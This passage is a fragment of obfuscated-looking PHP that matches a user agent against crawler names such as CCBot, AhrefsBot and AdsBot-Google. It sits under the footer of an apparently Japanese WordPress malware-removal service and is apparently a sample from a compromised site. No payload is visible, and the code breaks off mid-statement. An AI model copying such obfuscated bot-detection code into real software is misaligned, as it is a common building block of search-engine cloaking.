call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'Purebot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'ccbot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'CCBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'mlbot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'MLBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'adsbot-google'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'AdsBot-Google'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'ahrefsbot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'AhrefsBot'; } $K4pzA1 = array(); $K4pzA1[] =& $useragent; $K4pzA1[] = 'spbot'; $K4peF0 = call_user_func_array("strpos", $K4pzA1); $K4pA5 = $K4peF0 !== false; if ($K4pA5) { return 'spbot'; } $K4pzA1 = array(); $K4pzA1
■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
(C)2019 ワードプレス ドクター All rights reserved.